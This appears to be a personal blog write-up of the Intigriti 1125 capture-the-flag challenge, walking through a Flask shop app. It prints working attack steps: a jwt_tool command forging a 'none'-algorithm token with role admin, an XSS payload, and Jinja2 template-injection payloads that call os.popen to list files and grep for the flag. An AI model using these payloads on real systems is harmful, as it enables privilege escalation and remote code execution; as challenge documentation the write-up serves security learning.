../../../blog/ctf-intigriti-1125
Published on

CTF - Intigriti Challenge 1125

774 words4 min read–––
Views
Authors

After wrapping up some work and finally freeing a bit of mental space, I found myself idly jumping onto X to scroll through the endless stream of posts. Just as I was drifting through the feed, a notification caught my eye: a fresh Intigriti challenge had just popped up.

I hadn’t planned on doing any CTFs that day, but I clicked the link almost instinctively. Why not? It had been a while since I tackled a new CTF challenge, and this felt like the perfect way to dive back in.

To my own surprise, within just 30 minutes, I had completed the challenge — faster than I expected, and with a big dose of excitement to boot.

CTF Intigriti 1125 Banner

This Intigriti's November challenge comes with the following set of rules:

  • Should leverage a remote code execution vulnerability on the challenge page.
  • Shouldn't be self-XSS or related to MiTM attacks.
  • Should require no user interaction.
  • Should include the flag in the format INTIGRITI{.*}.

Just Explore It Man!

As soon as I landed on the challenge page, I started poking around the application. The interface was straightforward another ecommerce site where you can do the following

  • Browse products
  • Add them to the cart
  • Proceed to checkout (Just a fake chekcout page)
  • Login/Signup
  • User dashboard

After spending a few minutes exploring the app, creating an account, and adding items to the cart, I know 2 things for sure:

  1. The application is built using flask (Python). I could tell from the session cookie.
GET /cart HTTP/2
Host: challenge-1125.intigriti.io
Cookie: session=eyJjYXJ0IjpbeyJwcm9kdWN0X2lkIjo1LCJxdWFudGl0eSI6MX1dfQ.aSGNVw.HdfWeg9hKy-WcroGHfjg71V3CLI

Flask Session Cookie
  1. The application uses jwt tokens for authentication. I could tell from the token cookie.
GET /dashboard HTTP/2
Host: challenge-1125.intigriti.io
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjo2MywidXNlcm5hbWUiOiJhMDBuIiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjM4OTMxNjR9.Hvlc2uS9R456eLMKH2djr6N4QDXDgLygfk3j-LL_rj8

JWT Token Cookie

At this point, I know what to do next.

The Admin... This way Please! 👉

The first step i did is to use flask-unsign tool to guess the secret key used by the flask application to sign the session cookie using the default flask-unsign wordlist.

flask-unsign --unsign --cookie 'eyJjYXJ0IjpbeyJwcm9kdWN0X2lkIjo1LCJxdWFudGl0eSI6MX1dfQ.aSGNVw.HdfWeg9hKy-WcroGHfjg71V3CLI'

This path didn’t lead me anywhere. so i decided to focus on the jwt token instead.

By decoding the jwt token, I found that it contains a role field set to user. This gave me a hint that maybe changing this role to admin could unlock some admin functionalities.

{
    "user_id": 63,
    "username": "a00n",
    "role": "user",
    "exp": 1763893164
}

So I tried to manipulate the jwt token by setting a none signing algorithm and changing the role from user to admin. To do this, I used the jwt_tool.py script with the following command.

python3 jwt_tool.py YOUR_TOKEN_HERE -I -pc role -pv admin -X a

Sending the request with the tampered token worked! A new admin panel button appeared on the dashboard page.

Admin Panel Button

XSS... No, SSTI Please! 🙏

Clicking on the admin panel button took me to admin dashboard page. where there was a My Profile Button that led to the profile page where i can update my display name.

Admin Dashboard Page

Trying a simple XSS payload like <img/src=x onerror=alert(1)> in the display name field resulted to a beutiful alert popup.

XSS Alert Popup

But this was not what i was looking for. I need an RCE... No SSTI is better!

We already knew Flask was in the stack, which almost certainly meant Jinja2 was along for the ride.

I tried a simple SSTI payload like {{7*7}} in the display name field and it worked like a charm, returning 49 as the rendered output.

Then let's see what classes are loaded in memory:

{{''.__class__.mro()[1].__subclasses__()}}
Loaded Memory Classes

Okay... nothing interesting. Let's load some modules:

{{self.__init__.__globals__.__builtins__.__import__('os').popen('ls').read()}}
LS SSTI Executed

The Flag... Mission Accomplished! 🎉

Getting the flag is so easy now, we just need to run a grep command to search for the flag pattern.

{{self.__init__.__globals__.__builtins__.__import__('os').popen('grep -R -E "INTIGRITI\{.*\}" . 2>/dev/null').read()}}
Intigriti Chall 1125 Flag

📢 Follow me on X and LinkedIn to stay updated!

Thank you for reading.

Al hamduliLlah, the praise belongs exclusively to Him.

Remember. There's No Make It Secure